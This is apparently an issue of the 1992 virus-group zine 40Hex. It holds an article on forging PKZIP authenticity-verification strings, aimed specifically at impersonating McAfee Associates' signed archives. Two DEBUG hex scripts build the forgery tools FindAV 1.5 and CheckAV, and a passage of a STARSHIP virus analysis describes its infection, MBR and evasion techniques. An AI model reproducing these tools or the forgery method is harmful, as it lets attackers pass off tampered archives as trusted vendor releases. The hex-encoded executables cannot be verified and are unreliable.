40Hex Number 8 Volume 2 Issue 4
40Hex Number 8 Volume 2 Issue 4 File 002
-=-=-=-=-=-=-
Eat PUTAV
by Demogorgon of PHALCON/SKISM
-=-=-=-=-=-=-
Even though pk-zip 2.0 will be out soon and all the methods in
this article will be obsolete, I decided to write about them anyway. I
am sure you are familiar with the old program called makeav, which
attempted to brute force hack pkzip registration serial numbers. Sure,
it worked, but it was quite slow. Then, Hal released the program
findav, which did the same task several thousand times faster. Dark
Angel took apart the program findav in order to make a few
modifications. Naturally, Hal included several routines in his code in
order to make it very difficult to take apart. Dark Angel captured a
memory image of findav after it loaded into memory, wrote it back to
disk as a com file, and then changed all of the offsets so that all
references to the data segment were changed to their address in the code
segment. Dark Angel made several modifications, the most important of
which was so that findav would not quit out after finding a serial
number. The new version finds every serial number, and logs them to
disk.
-=-=-=-=-=-=-
An Experiment in Distributed Processing
-=-=-=-=-=-=-
The next day, Garbageheap and I took the modified findav down to
the nearest university. We started it running on twenty 80386 systems
on their network, each working on a different segment of the 4 billion
possible serial numbers. The goal was to find every serial number that
worked for McAfee Associates, so that we could then determine which one
was the one he uses. When an authenticity verified pkzip file is
extracted, pkunzip generates a 3 letter, 3 number validation string that
is dependent on the serial number used to validate it. A single
registration name has millions of valid serial numbers, but each of
these serial numbers has one unique validation string.
For Example:
PKUNZIP (R) FAST! Extract Utility Version 1.1 03-15-90
Copr. 1989-1990 PKWARE Inc. All Rights Reserved. PKUNZIP/h for help
PKUNZIP Reg. U.S. Pat. and Tm. Off.
Searching ZIP: EARLOBE.ZIP
Exploding: NUL -AV
Authentic files Verified! # ATU314 Zip Source: McAFEE ASSOCIATES
^^^^^^
PKUNZIP (R) FAST! Extract Utility Version 1.1 03-15-90
Copr. 1989-1990 PKWARE Inc. All Rights Reserved. PKUNZIP/h for help
PKUNZIP Reg. U.S. Pat. and Tm. Off.
Searching ZIP: EARLOBE.ZIP
Exploding: NUL -AV
Authentic files Verified! # SXQ414 Zip Source: McAFEE ASSOCIATES
^^^^^^
Therefore, the task was to find which of the serial numbers we had
found for McAfee produces the validation string "NWN405". To do this,
we ran every serial number through a program called checkav which Dark
Angel wrote to determine what validation number corresponds to which
serial number. Of course, a task like this would be nearly impossible
on your machine at home, but thanks to my local university, we were able
to use twenty machines at once.
-=-=-=-=-=-=-
Yet Another Way To Eat PUTAV
-=-=-=-=-=-=-
Because there is never only one way to do something, I decided to
put in another way to get whatever validation string you want out of
pkzip. All you need to do is include some ^H characters in your
registration name to backspace over the validation string and create a
new one. Naturally, you can not enter ^H characters when you run
putav, so you enter the correct number of some other character, go
into memory with td, and change them to 08h, the ^H character. That
way, when pkunzip runs and gives you a validation string, it will
backspace over it and show your own. For example:
>>>>> PUTAV.EXE
PUTAV - Put Authenticity Verification in PKZIP.EXE
Copyright 1990 PKWARE, Inc. All rights reserved.
Enter company name exactly as it appears on the PKWARE documentation.
Company Name : ^A^A^A^A^A^A^A^A^A^A^A# BOB666 Earlobe industries
Enter serial number exactly as it appears on the PKWARE documentation.
Serial Number: 23453244
>>>>>
After typing earlobe industries and hitting return, break into
turbo debug and change the ^A's (01) to ^H's (08). Remember to put in
11 backspaces. You can use the same method to find the serial number for
your string with findav.
The only useful application of all this is to duplicate an existing
pkzip registration. You could do that before, but now you can do it
better. Changing the validation string only really makes a difference
if you are trying to duplicate an archive that is known to have a certain
one, like McAfee's.
40Hex Number 8 Volume 2 Issue 4 File 003
-=PHALCON/SKISM=- Presents FindAv P/S Style!
PD War Collection Program 2
By Hal Of Pheonix
Modified by: Dark Angel of PHALCON/SKISM
FindAV version 1.5
Released 27 Jul 92
By Dark Angel of PHALCON/SKISM
In the beginning, there was MakeAV and all its counterparts. These programs
used a brute-force approach to find PKZIP serial numbers. They ran PUTAV,
PKZIP, and PKUNZIP repeatedly until a legitimate serial number was found.
Although they worked, these programs required hours, often days of running, as
well as much wear and tear on the hard drive head. Then FindAV was released
by HAL of PHOENIX.
FindAV was many, many times faster than MakeAV. Instead of running the PKWare
files over and over again, FindAV used an algorithmic approach similar to the
one used by PKWare when calculating serial numbers for registered clients. It
was a marvelous program, but it, too, had its limitations. The continual
display of numbers was aesthetically pleasing, but it took much valuable
processor time, slowing down the search for the holy serial number. E-FindAV
was released, once again speeding the search time by a large factor. E-FindAV
monitored the running of FindAV, turning off the display until the serial
number was found. This was a tremendous improvement. However, the user had
to sit through a tedious, lengthy, entirely unecessary introduction screen
before E-FindAV would execute FindAV. This was unacceptable. Additionally,
E-FindAV failed to fix some fundamental problems with FindAV.
For one, FindAV stopped after finding the first serial number. While this is
fine for most people, it is not desirable when finding existing serial
number/validation string combinations. Second, FindAV had a few bugs. The
first bug occured only in 386 mode. FindAV would "miss" some legitimate
serial numbers which it would catch in 8086 mode. This was, once again,
undesirable when looking for existing serial number/validation string
combinations. FindAV would also run into an infinite loop in certain
instances in 8086 mode. This, too, was unacceptable. Third, FindAV would not
log the serial numbers found in a file. Thus, the user had to manually copy
the number onto a sheet of paper and transfer it to a file for later
reference. Fourth, FindAV would not let the user start searching for a serial
number from any number except 1000. If the user wished to find starting from,
say, 2 billion, he or she would be forced to create a MAKEAV.DAT file and
hex-edit the appropriate values. Last, both FindAV and E-FindAV used
rudimentary disassembly-proof code which precluded users from adding features
to the program.
FindAV version 1.5 fixes these problems. It is essentially the same program
as the originally released version by HAL of PHOENIX, but with all the fixes
and enhancements mentioned above.
Command line options:
/B - begin at number
You can now start the search from any number, be it 0, 4,294,967,295 or
anything in between. This serves several purposes. Should the data file be
corrupted, it is not necessary to hexedit the data file to restart from the
last position. This option also facilitates the coordinated running of FindAV
on multiple machines. In this manner, each machine can start the search at a
different point. The value following the /B overrides the value in the
FindAV.DAT data file.
Syntax:
FindAV /B ###
Example:
FindAV /B 478293
/S - supress output
Searches may be expedited somewhat with this supress output option. This
eliminates the unecessary on-screen reporting of a sucessful finding. Logging
via the AVS.DAT file is preserved. The 'D'isplay command continues to function
under this mode.
Syntax:
FindAV /S
Valid keystrokes in FindAV:
ESC - Terminate calculation
Pressing the ESC key causes FindAV to terminate after saving the status of the
run in FindAV.DAT.
'D' - Display
Pressing the 'D' key causes FindAV to display the current search number on the
screen. This function was originally part of the main loop. However, it
consumed countless clock cycles, so it was eliminated to save precious time.
Files created by FindAV 1.5:
AVS.DAT - log file
The AVS.DAT file is created by FindAV. FindAV uses this file to record all
sucessful serial number finds. It consists of the company name followed by
multiple lines of serial numbers. If FindAV detects the file in the directory,
it will append serial numbers to the end.
FINDAV.DAT - save file
The FindAV.DAT file is created by FindAV when the user terminates calculation. It contains the company name as well as the current search number. It is useful when the user does not wish to search an entire range in one running. FindAV will automatically resume operation if it detects FindAV in the current directory.
FindAV 1.5 has data file compatability with version 1.0.
Revision history:
1.0 - Unknown - HAL of PHOENIX
- initial release
1.5 - 27 Jul 92 - Dark Angel of PHALCON/SKISM
- Bug fixes, peephole optimisation, log file, nonstop action, anynumber
begin.
-------------------------------------------------------------------------------
n findav15.com
e 0100 E8 B8 02 74 03 E8 09 00 E8 01 04 B4 4C CD 21 6C
e 0110 01 E8 44 01 75 0F E8 D5 00 BA D9 06 E8 27 04 E8
e 0120 5F 00 E8 84 00 E8 13 00 72 10 BF 06 06 2E FF 16
e 0130 0F 01 73 DD BA F2 06 E8 0C 04 C3 B4 01 CD 16 74
e 0140 1E 2A E4 CD 16 3C 64 74 13 3C 44 74 0F 3C 1B 75
e 0150 0E BA 61 07 E8 EF 03 E8 F1 03 F9 C3 E8 1F 00 F8
e 0160 C3 66 83 3D FF 74 15 66 FF 05 F8 C3 8B 05 8B 55
e 0170 02 40 75 03 42 74 05 AB 92 AB F8 C3 F9 C3 E8 6D
e 0180 00 E8 5F 00 BA AD 07 E8 BC 03 C3 B8 01 3D BA 7B
e 0190 08 CD 21 93 C3 BA D5 07 E8 AB 03 E9 6A FF B4 40
e 01A0 BA D0 07 B9 02 00 CD 21 C3 E8 DF FF 73 1B B4 3C
e 01B0 33 C9 CD 21 72 DF E8 D2 FF B4 40 8A 0E 13 06 B5
e 01C0 00 BA 14 06 CD 21 E8 D5 FF B8 02 42 33 C9 99 CD
e 01D0 21 B4 40 B9 0B 00 BA B5 07 CD 21 E8 C0 FF B4 3E
e 01E0 CD 21 C3 B4 02 32 FF 8B 16 49 06 CD 10 C3 FD BF
e 01F0 BF 07 B9 0A 00 80 3E 05 06 00 74 24 66 A1 06 06
e 0200 66 BB 0A 00 00 00 66 33 D2 66 0B C0 75 06 B0 20
e 0210 F3 AA FC C3 66 F7 F3 92 04 30 AA 92 E2 E8 FC C3
e 0220 88 0E C2 07 A1 06 06 8B 16 08 06 EB 06 8B 46 02
e 0230 8B 56 04 0B C0 75 08 0B D2 75 04 B0 20 EB 10 6A
e 0240 0A 52 50 E8 3C 01 89 4E 04 89 46 02 92 04 30 AA
e 0250 FE 0E C2 07 75 D7 FC C3 E8 3E 01 E8 D8 00 75 07
e 0260 E8 05 00 75 02 32 C0 C3 BF 0A 06 C7 06 C1 07 00
e 0270 0A 80 3E 05 06 00 74 24 66 8B 05 66 C1 C8 10 66
e 0280 B9 0A 00 00 00 66 0B C0 74 50 66 33 D2 66 F7 F1
e 0290 00 16 C1 07 FE 0E C2 07 75 EB EB 3E C7 45 04 9A
e 02A0 3B C7 45 06 00 CA FF 75 04 FF 75 06 FF 35 FF 75
e 02B0 02 E8 2C 00 6A 0A 52 50 E8 C7 00 00 16 C1 07 B8
e 02C0 0A 00 99 52 50 FF 75 04 FF 75 06 E8 12 00 89 55
e 02D0 04 89 45 06 FE 0E C2 07 75 CC 80 3E C1 07 3E C3
e 02E0 55 8B EC 8B 4E 0A E3 38 8B 5E 08 8B 56 06 8B 46
e 02F0 04 D1 E9 D1 DB D1 EA D1 D8 0B C9 75 F4 F7 F3 8B
e 0300 F0 F7 66 0A 91 8B 46 08 F7 E6 03 D1 72 0C 3B 56
e 0310 06 77 07 72 06 3B 46 04 76 01 4E 33 D2 96 EB 12
e 0320 8B 4E 08 8B 46 06 33 D2 F7 F1 8B 5E 04 93 F7 F1
e 0330 8B D3 5D C2 08 00 B9 07 00 BB 9D 00 BF 0A 06 EB
e 0340 1E 80 3E 05 06 00 74 17 66 D3 0D 66 8B 05 66 33
e 0350 D2 F7 F3 66 C1 C8 10 66 83 E8 1A F7 F3 EB 20 8B
e 0360 15 8B 45 02 8B F0 D1 EE D1 DA D1 D8 E2 F8 89 15
e 0370 89 45 02 2D 1A 00 83 DA 00 53 52 50 E8 03 00 0B
e 0380 D2 C3 55 8B EC 8B 5E 08 8B 46 06 33 D2 F7 F3 8B
e 0390 4E 04 91 F7 F3 5D C2 06 00 BE 06 06 AD 89 44 02
e 03A0 AD 89 44 02 BE 14 06 32 ED 8A 0E 13 06 33 DB AC
e 03B0 30 87 0A 06 43 80 E3 03 E2 F5 C3 BA 4B 06 E8 85
e 03C0 01 E8 48 01 E8 0A 02 E8 22 00 E8 D4 00 80 3E 13
e 03D0 06 00 75 03 E8 5B 01 33 F6 E8 37 01 80 3E 13 06
e 03E0 00 75 08 BA 41 07 E8 5D 01 32 C0 C3 BE 81 00 AC
e 03F0 3C 0D 74 37 3C 2F 75 F7 AC E8 86 00 3C 53 75 13
e 0400 B8 90 00 BF 19 01 B9 09 00 F3 AA BA 83 08 E8 35
e 0410 01 EB DC 3C 42 74 15 3C 3F 75 05 BA 0E 09 EB 5D
e 0420 A2 0A 09 BA F6 08 E8 1D 01 EB C4 C3 32 E4 33 DB
e 0430 B9 0A 00 99 AC E8 62 00 74 FA E8 50 00 74 05 BA
e 0440 A3 08 EB 39 50 92 F7 E1 50 93 F7 E1 5B 03 D3 5B
e 0450 03 C3 83 D2 00 93 AC E8 33 00 74 E8 4E 89 1E 06
e 0460 06 89 16 08 06 E8 86 FD BA E2 08 E8 D8 00 BA B3
e 0470 07 E8 D2 00 BA D2 07 E8 CC 00 E9 72 FF E8 C6 00
e 0480 CD 20 3C 61 7C 06 3C 7A 7F 02 04 E0 C3 3C 30 7C
e 0490 08 3C 39 7F 04 2C 30 3A C0 C3 3C 20 74 02 3C 3D
e 04A0 C3 E8 D3 00 72 65 BA 51 08 E8 9A 00 B9 05 00 E8
e 04B0 DA 00 72 54 8B F2 AD 3D 41 56 75 46 AD 3D 31 30
e 04C0 75 40 BA 14 06 8A 0C E8 C2 00 72 3C 83 3E 08 06
e 04D0 00 75 12 81 3E 06 06 E8 03 75 0A BA 06 06 B1 04
e 04E0 E8 A9 00 72 1D AC A2 13 06 98 91 BE 14 06 BF 31
e 04F0 08 F3 A4 B8 0D 0A AB B0 24 AA BA 21 08 E8 46 00
e 0500 EB 06 BA 31 08 E8 3E 00 E8 78 00 C3 BE 01 00 E8
e 0510 01 00 C3 E8 11 00 B4 01 0B F6 75 05 80 CD 20 EB
e 0520 03 80 E5 DF CD 10 C3 B4 03 32 FF CD 10 89 16 49
e 0530 06 C3 BA 98 07 E8 0E 00 B4 0A BA 12 06 CD 21 BA
e 0540 D0 07 E8 01 00 C3 B4 09 CD 21 C3 E8 6C 00 72 26
e 0550 BF 4B 06 B8 41 56 AB B8 31 30 AB BE 13 06 AC AA
e 0560 98 8B C8 F3 A4 BE 06 06 A5 A5 04 09 91 BA 4B 06
e 0570 E8 31 00 E8 0D 00 C3 B8 00 3D BA C3 07 CD 21 A3
e 0580 CE 07 C3 B4 3E 8B 1E CE 07 CD 21 C3 B4 3F 8B 1E
e 0590 CE 07 CD 21 72 06 3B C1 75 02 F8 C3 BA 06 08 E8
e 05A0 A4 FF F9 C3 B4 40 8B 1E CE 07 CD 21 73 0B 3B C1
e 05B0 74 07 BA EE 07 E8 8E FF F9 C3 B4 3C 33 C9 BA C3
e 05C0 07 CD 21 73 08 BA D5 07 E8 7B FF F9 C3 A3 CE 07
e 05D0 C3 9C 58 25 FF 0F 50 9D 9C 58 25 00 F0 3D 00 F0
e 05E0 74 22 9C 58 0D 00 70 50 9D 9C 58 25 00 70 3D 00
e 05F0 70 75 11 FE 06 05 06 2E C7 06 0F 01 61 01 BA 2E
e 0600 07 E8 42 FF C3 00 E8 03 00 00 00 00 00 00 00 00
e 0610 00 00 34 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0640 00 00 00 00 00 00 00 00 00 00 00 50 72 6F 67 72
e 0650 61 6D 20 74 6F 20 66 69 6E 64 20 73 65 72 69 61
e 0660 6C 20 23 20 66 6F 72 20 41 56 20 20 76 65 72 20
e 0670 31 2E 35 0D 0A 76 65 72 20 31 2E 30 20 3C 20 62
e 0680 79 20 48 41 4C 20 66 6F 72 20 50 48 4F 45 4E 49
e 0690 58 20 3E 0D 0A 76 65 72 20 31 2E 35 20 62 79 20
e 06A0 44 61 72 6B 20 41 6E 67 65 6C 20 6F 66 20 50 48
e 06B0 41 4C 43 4F 4E 2F 53 4B 49 53 4D 0D 0A 50 72 65
e 06C0 73 73 20 45 53 43 20 74 6F 20 65 78 69 74 20 70
e 06D0 72 6F 67 72 61 6D 0D 0A 24 0D 0A 53 65 72 69 61
e 06E0 6C 20 6E 75 6D 62 65 72 20 66 6F 75 6E 64 21 0D
e 06F0 0A 24 0D 0A 46 69 6E 64 41 56 20 63 6F 6D 70 6C
e 0700 65 74 65 64 2E 20 20 4E 6F 20 6D 6F 72 65 20 73
e 0710 65 72 69 61 6C 20 6E 75 6D 62 65 72 73 20 6D 61
e 0720 79 20 62 65 20 66 6F 75 6E 64 2E 0D 0A 24 33 38
e 0730 36 20 43 50 55 20 64 65 74 65 63 74 65 64 0D 0A
e 0740 24 4E 6F 20 69 6E 70 75 74 2C 20 61 62 6F 72 74
e 0750 69 6E 67 20 6F 70 65 72 61 74 69 6F 6E 21 0D 0A
e 0760 24 0D 0A 45 53 43 20 6B 65 79 20 64 65 74 65 63
e 0770 74 65 64 2C 20 73 61 76 69 6E 67 20 46 49 4E 44
e 0780 41 56 2E 44 41 54 20 61 6E 64 20 65 78 69 74 69
e 0790 6E 67 2E 2E 2E 0D 0A 24 45 6E 74 65 72 20 63 6F
e 07A0 6D 70 61 6E 79 20 6E 61 6D 65 3A 20 24 54 72 79
e 07B0 69 6E 67 20 23 20 20 20 20 20 20 20 20 20 20 20
e 07C0 24 00 00 46 49 4E 44 41 56 2E 44 41 54 00 00 00
e 07D0 0D 0A 0D 0A 24 0D 0A 45 72 72 6F 72 20 63 72 65
e 07E0 61 74 69 6E 67 20 66 69 6C 65 21 0D 0A 24 0D 0A
e 07F0 45 72 72 6F 72 20 77 72 69 74 69 6E 67 20 66 69
e 0800 6C 65 21 0D 0A 24 0D 0A 45 72 72 6F 72 20 69 6E
e 0810 20 72 65 61 64 69 6E 67 20 66 69 6C 65 21 0D 0A
e 0820 24 43 6F 6E 74 69 6E 75 69 6E 67 20 66 6F 72 3A
e 0830 20 42 61 64 20 66 69 6C 65 20 68 65 61 64 65 72
e 0840 20 69 6E 20 46 49 4E 44 41 56 2E 44 41 54 0D 0A
e 0850 24 46 49 4E 44 41 56 2E 44 41 54 20 64 65 74 65
e 0860 63 74 65 64 2C 20 72 65 61 64 69 6E 67 20 69 6E
e 0870 20 64 61 74 61 2E 2E 2E 0D 0A 24 41 56 53 2E 44
e 0880 41 54 00 53 75 70 70 72 65 73 73 69 6F 6E 20 6F
e 0890 66 20 6F 75 74 70 75 74 20 61 63 74 69 76 65 2E
e 08A0 0D 0A 24 46 61 74 61 6C 20 65 72 72 6F 72 20 69
e 08B0 6E 20 70 61 72 61 6D 65 74 65 72 20 42 45 47 49
e 08C0 4E 2E 0D 0A 50 72 6F 70 65 72 20 75 73 61 67 65
e 08D0 3A 20 2F 42 20 23 23 23 23 23 23 23 23 23 23 0D
e 08E0 0A 24 42 65 67 69 6E 6E 69 6E 67 20 73 65 61 72
e 08F0 63 68 20 61 74 24 55 6E 6B 6E 6F 77 6E 20 70 61
e 0900 72 61 6D 65 74 65 72 3A 20 2F 00 0D 0A 24 50 61
e 0910 72 61 6D 65 74 65 72 73 20 61 72 65 3A 0D 0A 2F
e 0920 3F 20 20 20 20 20 20 20 20 20 20 44 69 73 70 6C
e 0930 61 79 20 74 68 69 73 20 73 63 72 65 65 6E 0D 0A
e 0940 2F 42 20 23 23 23 23 23 20 20 20 20 42 65 67 69
e 0950 6E 20 61 74 20 23 23 23 23 23 0D 0A 2F 53 20 20
e 0960 20 20 20 20 20 20 20 20 73 75 70 70 72 65 73 73
e 0970 20 6F 75 74 70 75 74 0D 0A 24 1A 1A 1A 1A 1A 1A
rcx
097F
w
q
-------------------------------------------------------------------------------
40Hex Number 8 Volume 2 Issue 4 File 004
-=PHALCON/SKISM=- Presents CheckAv
PD War Collection Program 3
By Dark Angel
Once again, not an incredibly impressive program, but it is still
quite useful. It PutAv's a serial number, pkzips a test file, with the
pkzip -! option, then unzips it. It logs the line that has serial
number. This program requires pkzip, pkunzip, putav and avs.dat from
findav15.
It is a very crude program, but it was done in quite a hurry, as
I am going away for a while. Run it in a RAM disk, as it is much
better!
-------------------------------------------------------------------------------
n checkav.com
e 0100 BA F7 02 B4 4A BB 00 10 CD 21 72 34 BA 83 02 E8
e 0110 6C 01 BA 14 03 E8 66 01 B4 0A BA 9A 04 CD 21 BA
e 0120 3C 03 80 3E 9A 04 00 74 76 BB 9C 04 8B D3 A0 9B
e 0130 04 98 03 D8 C6 07 00 B8 00 3D CD 21 BA 5E 03 93
e 0140 72 5D B4 3F B9 3C 00 BA BC 04 CD 21 87 D7 BA 7D
e 0150 03 0B C0 74 4A B8 00 42 33 C9 99 CD 21 FC BA 9F
e 0160 03 B9 3C 00 B0 0D F2 AE 0B C9 74 33 BA D3 03 E8
e 0170 0C 01 4F C6 05 24 BA BC 04 E8 02 01 C6 05 0D 8B
e 0180 D7 81 EA BA 04 89 16 F8 04 B8 00 42 33 C9 CD 21
e 0190 BA D6 02 E8 E8 00 BA 82 04 E8 BA 00 E8 13 00 E8
e 01A0 DC 00 B4 41 BA 8A 04 CD 21 B4 41 BA 8F 04 CD 21
e 01B0 CD 20 B4 3F B9 0D 00 BA EF 03 CD 21 0B C0 74 3A
e 01C0 BA E5 03 E8 B8 00 E8 A2 00 E8 32 00 BE EF 03 BF
e 01D0 09 04 B9 0B 00 F3 A4 BE 03 04 E8 52 00 E8 8B 00
e 01E0 BE 20 04 E8 49 00 E8 82 00 BE 34 04 E8 40 00 E8
e 01F0 79 00 BE 51 04 E8 37 00 EB B8 BA B8 03 C3 53 B4
e 0200 3C BA FE 03 33 C9 CD 21 93 B4 40 8B 0E F8 04 49
e 0210 BA BC 04 CD 21 B4 40 B9 0C 00 BA EF 03 CD 21 B4
e 0220 40 B9 01 00 BA FD 03 CD 21 B4 3E CD 21 5B C3 50
e 0230 53 51 52 1E 06 55 57 89 26 FC 04 8C 16 FA 04 CD
e 0240 2E FA 2E 8E 16 FA 04 2E 8B 26 FC 04 FB 5F 5D 07
e 0250 1F 5A 59 5B 58 C3 53 B8 00 3D CD 21 73 06 B4 3C
e 0260 33 C9 CD 21 93 B4 3E CD 21 5B C3 B4 06 B2 FF CD
e 0270 21 74 0A 3C 1B 75 06 BA D9 02 E9 22 FF C3 B4 09
e 0280 CD 21 C3 43 68 65 63 6B 41 56 20 76 65 72 73 69
e 0290 6F 6E 20 31 2E 30 0D 0A 62 79 20 44 61 72 6B 20
e 02A0 41 6E 67 65 6C 20 6F 66 20 50 48 41 4C 43 4F 4E
e 02B0 2F 53 4B 49 53 4D 0D 0A 50 72 65 73 73 20 45 53
e 02C0 43 20 74 6F 20 61 62 6F 72 74 20 61 74 20 61 6E
e 02D0 79 20 74 69 6D 65 0D 0A 24 45 53 43 61 70 65 20
e 02E0 64 65 74 65 63 74 65 64 2E 20 20 41 62 6F 72 74
e 02F0 69 6E 67 2E 0D 0A 24 45 72 72 6F 72 20 72 65 61
e 0300 6C 6C 6F 63 61 74 69 6E 67 20 6D 65 6D 6F 72 79
e 0310 2E 0D 0A 24 45 6E 74 65 72 20 74 68 65 20 6E 61
e 0320 6D 65 20 6F 66 20 74 68 65 20 66 69 6C 65 20 74
e 0330 6F 20 70 72 6F 63 65 73 73 3A 20 24 0D 0A 4E 6F
e 0340 20 69 6E 70 75 74 20 64 65 74 65 63 74 65 64 2E
e 0350 20 20 41 62 6F 72 74 69 6E 67 21 0D 0A 24 0D 0A
e 0360 46 69 6C 65 20 6E 6F 74 20 66 6F 75 6E 64 2E 20
e 0370 20 41 62 6F 72 74 69 6E 67 2E 0D 0A 24 0D 0A 54
e 0380 68 65 20 66 69 6C 65 20 69 73 20 7A 65 72 6F 20
e 0390 62 79 74 65 73 2E 20 20 44 69 65 21 0D 0A 24 0D
e 03A0 0A 54 68 65 20 66 69 6C 65 20 69 73 20 69 6E 76
e 03B0 61 6C 69 64 2E 0D 0A 24 0D 0A 43 68 65 63 6B 41
e 03C0 56 20 72 75 6E 20 63 6F 6D 70 6C 65 74 65 64 2E
e 03D0 0D 0A 24 0D 0A 0D 0A 54 65 73 74 69 6E 67 20 66
e 03E0 6F 72 3A 20 24 43 68 65 63 6B 69 6E 67 20 23 00
e 03F0 00 00 00 00 00 00 00 00 00 00 00 00 24 1B 74 65
e 0400 73 74 00 1B 65 63 68 6F 20 00 00 00 00 00 00 00
e 0410 00 00 00 00 20 3E 3E 20 72 65 73 75 6C 74 73 0D
e 0420 12 70 75 74 61 76 20 3C 20 74 65 73 74 20 3E 20
e 0430 6E 75 6C 0D 1B 70 6B 7A 69 70 20 2D 21 6F 20 74
e 0440 6F 6D 72 6F 74 20 74 65 73 74 20 3E 20 6E 75 6C
e 0450 0D 2F 70 6B 75 6E 7A 69 70 20 74 6F 6D 72 6F 74
e 0460 20 2D 74 20 7C 20 66 69 6E 64 20 22 41 75 74 68
e 0470 65 6E 74 69 63 22 20 3E 3E 20 72 65 73 75 6C 74
e 0480 73 0D 72 65 73 75 6C 74 73 00 74 65 73 74 00 74
e 0490 6F 6D 72 6F 74 2E 7A 69 70 00 20 1A 1A 1A 1A 1A
rcx
049F
w
q
-------------------------------------------------------------------------------
40Hex Number 8 Volume 2 Issue 4 File 005
STARSHIP - interesting file-boot virus.
Muttik I.G.
(Internet: MIG@politon.msk.su)
KEYWORDS
Virus, DOS, executable file, masterboot record,
resident in memory, encryption.
ABSTRACT
STARSHIP virus (file and boot simultaneously) is described. It
infects IBM PC and compatibles running DOS. Virus is called
STARSHIP : this string can be easily found in the memory dump
of virus. Virus infects masterboot record on harddisk and
executable files files created on floppy drives. The virus is
encrypted. Infected executable files have no descriptor longer
than 2 bytes. Virus appears to have no destructive code, it
uses music and video effects when active. The abnormal
operation of the infected computers was sometimes detected.
INTRODUCTION
History of computer viruses is very short. The first
known publications are dated with 1984-1985 [1,2]. But now
situation in this field changes every day - uncountable number
of various computer viruses are known at present in DOS
operating system. The variety of known viruses is fantastic,
but all of them falls into three known categories: file,
boot [3,4] and cluster. Active area of the first virus type is
executable files and of the second type - boot records on
harddisks and diskettes. The third category is not yet over-
populated, the only representative is bulgarian DIR-II virus.
Probably the first virus which infects files and boot
sectors was Ghost virus [5]. This virus was discovered by
Fridrik Skulason at Icelandic University. Ghost virus infects
only COM files. This virus increases file size by 2351 bytes.
When active the Ghost replaces boot sector of infected system
with a boot virus similar to Ping Pong, but this boot virus
does not have infection routine. The Ghost virus,
consequently, may be considered as a file virus with unusual
active phase. After some time appeared Virus-101, Frodo and,
finally, a bunch of new viruses was found: Thanksgiving virus
(V-1), TEQUILA and STARSHIP (these type of viruses is
sometimes called "multi-partite").
STARSHIP virus was found in Moscow in January 1991.
Probably this virus was written in the USSR.
The living cycle of STARSHIP virus is the following. When
infected file is started it modifies masterboot record (MBR)
on the harddisk and writes virus on the disk. Thereafter, when
computer reboots, virus intercepts interrupt vectors 13h (low-
level disk I/O) and 21h (DOS service). During the reboot virus
is stored in the videomemory at address BB00:0. It is moved to
the core RAM later, when the first program terminates. Now it
stays resident and infects any COM/EXE file created on floppy
drives.
1. GENERAL DESCRIPTION
Length of STARSHIP virus in memory is 2688 bytes. Size of
code is 2560 bytes, buffers and variables takes the remainder.
On harddisk virus takes 3072 bytes (6 sectors * 512 bytes).
Virus layout is shown in Table.1 and its memory dump
(fragmentary) is presented in Figure.1. (NOTE: All dumps
presented is the article are partial in order to prevent the
possibility to use for generation of new viruses.)
No text messages except one string ">STARSHIP_1<" of
length 12 (found only in memory) were discovered. This string
can be found only in memory, because virus is stored on disk
and in the infected file in encrypted form.
Normally virus stays resident and the size of used memory
block is B00h=2816. The beginning of this memory block is the
Program Segment Prefix (PSP) of program that triggered the
installation of virus in the core RAM. Really virus is started
at offset 80h in this PSP (consequently, the real virus size
is: B00h-80h=A80h=2688 bytes).
Virus uses standard interrupts 13h, 20h, 21h, 27h and
creates its own interrupts F9h and FCh (see later). When virus
is already resident (installed in the core RAM) it uses only
13h and 21h vectors. Entry points of both interrupt handlers
can be easily found (CS:005F and CS:00C5; here CS represents
the code segment where virus resides).
In the memory dump of virus one can found the buffer for
the filename (see ASCIIZ= 'B:\TMP\DROZFILA.COM' at CS:000D in
Fig.1).
Virus extensively uses its internal random number
generator. The random number seed is taken from BIOS timer
variable (0:46Ch). Random generator is used for the
demonstration of video effect and while creating the infected
file (change of size is random and virus code is encrypted
using random number). The word "random" may be a real motto of
the described virus - it uses random number generator very
frequently.
The part of virus memory image is encrypted using XOR
function (approximately 60% of total virus size). This section
is decrypted and used only while infecting files (section is
marked in Table.1 with the box). After infection of each file
the XOR mask is changed, and encryption is performed with the
new mask. Described procedure makes the encrypted section
volatile and unreadable. This behavior is not used to hide any
strings in virus body (there are no strings at all, except
virus name) - maybe it is implemented only to achieve
permanent variance.
Virus uses trace capabilities of processor to determine
the original BIOS interrupt 13h entry point. Virus issues
int 13h with trace flag set and records the CS:IP when CS
becomes greater or equal to C800h (corresponds to the ROM
area). However this method seems to be non-universal. I have
investigated the process of disk infection and found that
rewriting of MBR sometimes triggered the resident antivirus
utilities (program TSAFE: Turbo-Anti Virus Ver.6.80A from
CARMEL Software Engineering, Israel).
While disassembling the virus I have found special code
inserts used to fool disassemblers. In most cases these
inserts uses non-working calls and jumps pointing on the
garbage in the virus body. These inserts are a real problem
for disassemblers and I have not found one that managed to
correctly separate code and data (or code and garbage). The
intelligent analysis of code is needed, which is not performed
by all available disassemblers (including smart SOURCER
ver. 3.07, by V Communications Inc.).
I have carefully examined the reconstructed source and
established that STARSHIP virus appears to have no destructive
code.
2. FILE INFECTION
Strategy of file infection is the following. Files are
infected while creation of EXE/COM file on A: or B: disks.
Virus records file name in internal buffer (at CS:000D), and
starts infection routine when request to close the file was
issued. This technique is similar to the method used by Dark
Avenger virus [3,5,7].
The idea to infect only executable file that are created
on floppy disks explains why STARSHIP does not intercept int
24h. This interrupt is usually catched by viruses to prevent
message - "Write protect error". But when file is created (!)
on the floppy disk it automatically indicates that the user
has removed (or will remove) the write protect tab.
Change of infected file size is true random (for the same
file you can get many variants of infection with different
size growth). Change of size is typically 2616...2648 bytes.
Virus infects COMMAND.COM file when it is created on
floppy disk. No special strategy is used to infect command
interpreter - it is infected as a simple .COM file.
When infecting executable (only EXE and COM) files, virus
preserves attribute. If the file is readonly - this attribute
remains unchanged after infection. STARSHIP examines the
executable file type by its contents, not by extension (tests
for 5A4Dh at file beginning, but it does not test 4D5Ah).
Virus does not infect short files - see Table 2. Virus does
not infect the files that are already infected. Buffer at
virus end is used to read code beginning and determine the
presence of virus (it seems to me that virus may frequently
regard uninfected files as infected, because it performs very
primitive analysis).
Virus infection routine uses the following interrupts:
int F9h (it points on the original int 21h, as set by DOS) and
int FCh (points on original int 13h, as set by BIOS). These
